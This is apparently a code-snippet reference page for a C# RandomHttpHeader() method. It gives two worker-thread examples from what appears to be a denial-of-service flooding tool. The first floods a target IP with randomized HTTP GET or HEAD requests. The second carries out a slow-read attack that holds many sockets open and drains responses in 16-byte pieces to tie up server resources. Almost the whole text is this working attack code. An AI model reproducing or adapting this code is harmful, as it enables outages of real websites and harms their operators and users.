RandomHttpHeader() public static method

public static RandomHttpHeader ( string method, string subsite, string host, bool subsite_random = false, bool gzip = false, int keep_alive ) : byte[]
method string
subsite string
host string
subsite_random bool
gzip bool
keep_alive int
return byte[]
Esempio n. 1
0
        private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port);
                while (this.IsFlooding)
                {
                    State      = ReqState.Ready;                // SET STATE TO READY //
                    lastAction = Tick();
                    byte[] recvBuf = new byte[128];
                    using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp))
                    {
                        socket.NoDelay = true;
                        State          = ReqState.Connecting;                // SET STATE TO CONNECTING //

                        try { socket.Connect(RHost); }
                        catch (SocketException) { goto _continue; }

                        byte[] buf = Functions.RandomHttpHeader((UseGet ? "GET" : "HEAD"), Subsite, Host, Random, AllowGzip);

                        socket.Blocking = Resp;
                        State           = ReqState.Requesting;               // SET STATE TO REQUESTING //

                        try
                        {
                            socket.Send(buf, SocketFlags.None);
                            State = ReqState.Downloading; Requested++;                             // SET STATE TO DOWNLOADING // REQUESTED++

                            if (Resp)
                            {
                                socket.ReceiveTimeout = Timeout;
                                socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None);
                            }
                        }
                        catch (SocketException) { goto _continue; }
                    }
                    State = ReqState.Completed; Downloaded++;                     // SET STATE TO COMPLETED // DOWNLOADED++
                    tTimepoll.Stop();
                    tTimepoll.Start();
_continue:
                    if (Delay >= 0)
                    {
                        System.Threading.Thread.Sleep(Delay + 1);
                    }
                }
            }
            // Analysis disable once EmptyGeneralCatchClause
            catch { }
            finally { tTimepoll.Stop(); State = ReqState.Ready; this.IsFlooding = false; }
        }
Esempio n. 2
0
        private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                int        bsize    = 16;
                int        mincl    = 16384;       // set minimal content-length to 16KB
                byte[]     rbuf     = new byte[bsize];
                string     redirect = "";
                DateTime   stop     = DateTime.UtcNow;
                IPEndPoint RHost    = new IPEndPoint(IPAddress.Parse(_ip), _port);

                State = ReqState.Ready;
                while (this.IsFlooding)
                {
                    stop  = DateTime.UtcNow.AddMilliseconds(Timeout);
                    State = ReqState.Connecting;                     // SET STATE TO CONNECTING //

                    // forget about slow! .. we have enough saveguards in place!
                    while (this.IsFlooding && this.IsDelayed && DateTime.UtcNow < stop)
                    {
                        Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                        socket.ReceiveTimeout    = Timeout;
                        socket.ReceiveBufferSize = bsize;
                        try
                        {
                            socket.Connect(RHost);
                            socket.Blocking = _resp;                             // beware of shitstorm of 10035 - 10037 errors o.O
                            byte[] sbuf = Functions.RandomHttpHeader("GET", _subSite, _dns, _random, _usegZip, 300);
                            socket.Send(sbuf);
                        }
                        catch { }

                        if (socket.Connected)
                        {
                            bool keeps = !_resp;
                            if (_resp)
                            {
                                do
                                {                                 // some damn fail checks (and resolving dynamic redirects -.-)
                                    if (redirect != "")
                                    {
                                        if (!socket.Connected)
                                        {
                                            socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                                            socket.ReceiveTimeout    = Timeout;
                                            socket.ReceiveBufferSize = bsize;
                                            socket.Connect(RHost);
                                        }
                                        byte[] sbuf = Functions.RandomHttpHeader("GET", redirect, _dns, false, _usegZip, 300);
                                        socket.Send(sbuf);
                                        redirect = "";
                                    }
                                    keeps = false;
                                    try
                                    {
                                        string header = "";
                                        while (!header.Contains(Environment.NewLine + Environment.NewLine) && (socket.Receive(rbuf) >= bsize))
                                        {
                                            header += Encoding.ASCII.GetString(rbuf);
                                        }
                                        string[] sp = header.Split(new char[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
                                        for (int i = (sp.Length - 1); this.IsFlooding && i >= 0; i--)
                                        {
                                            string[] tsp = sp[i].Split(new char[] { ':' }, 2, StringSplitOptions.RemoveEmptyEntries);

                                            if (tsp.Length != 2)
                                            {
                                                continue;
                                            }

                                            tsp[0] = tsp[0].Trim();
                                            tsp[1] = tsp[1].Trim();

                                            if (tsp[0] == "Location")
                                            {                                             // parse and follow the redirect
                                                redirect = tsp[1];
                                                if (!redirect.StartsWith("/"))
                                                {
                                                    try { redirect = new Uri(redirect).PathAndQuery; }
                                                    catch { redirect = ""; }
                                                }
                                                break;
                                            }
                                            else if (tsp[0] == "Content-Length")
                                            {                                             // checking if the content-length is long enough to work with this!
                                                int sl = 0;
                                                if (int.TryParse(tsp[1], out sl) && sl >= mincl)
                                                {
                                                    keeps = true;
                                                    break;
                                                }
                                            }
                                            else if (tsp[0] == "Transfer-Encoding" && tsp[1].ToLowerInvariant() == "chunked")
                                            {                                             //well, what doo?
                                                keeps = true;
                                                break;
                                            }
                                        }
                                    }
                                    catch
                                    { }
                                } while (redirect != "" && DateTime.UtcNow < stop);

                                if (!keeps)
                                {
                                    Failed++;
                                }
                            }
                            if (keeps)
                            {
                                socket.Blocking = true;                                 // we rely on this in the dl-loop!
                                _lSockets.Insert(0, socket);
                                Requested++;
                            }
                        }
                        if (_lSockets.Count >= _nSockets)
                        {
                            this.IsDelayed = false;
                        }
                        else if (Delay > 0)
                        {
                            System.Threading.Thread.Sleep(Delay);
                        }
                    }

                    State = ReqState.Downloading;
                    for (int i = (_lSockets.Count - 1); this.IsFlooding && i >= 0; i--)
                    {                     // keep the sockets alive
                        try
                        {
                            // here's the downfall: if the server at one point decides to just discard the socket
                            // and not close / reset the connection we are stuck with a half-closed connection
                            // testing for it doesn't work, because the server than resets the connection in order
                            // to respond to the new request ... so we have to rely on the connection timeout!
                            if (!_lSockets[i].Connected || (_lSockets[i].Receive(rbuf) < bsize))
                            {
                                _lSockets.RemoveAt(i);
                                Failed++;
                                Requested--;                                 // the "requested" number in the stats shows the actual open sockets
                            }
                            else
                            {
                                Downloaded++;
                            }
                        }
                        catch
                        {
                            _lSockets.RemoveAt(i);
                            Failed++;
                            Requested--;
                        }
                    }

                    State          = ReqState.Completed;
                    this.IsDelayed = (_lSockets.Count < _nSockets);
                    if (!this.IsDelayed)
                    {
                        System.Threading.Thread.Sleep(Timeout);
                    }
                }
            }
            catch
            {
                State = ReqState.Failed;
            }
            finally
            {
                this.IsFlooding = false;
                // not so sure about the graceful shutdown ... but why not?
                for (int i = (_lSockets.Count - 1); i >= 0; i--)
                {
                    try
                    {
                        _lSockets[i].Close();
                    }
                    catch { }
                }
                _lSockets.Clear();
                State          = ReqState.Ready;
                this.IsDelayed = true;
            }
        }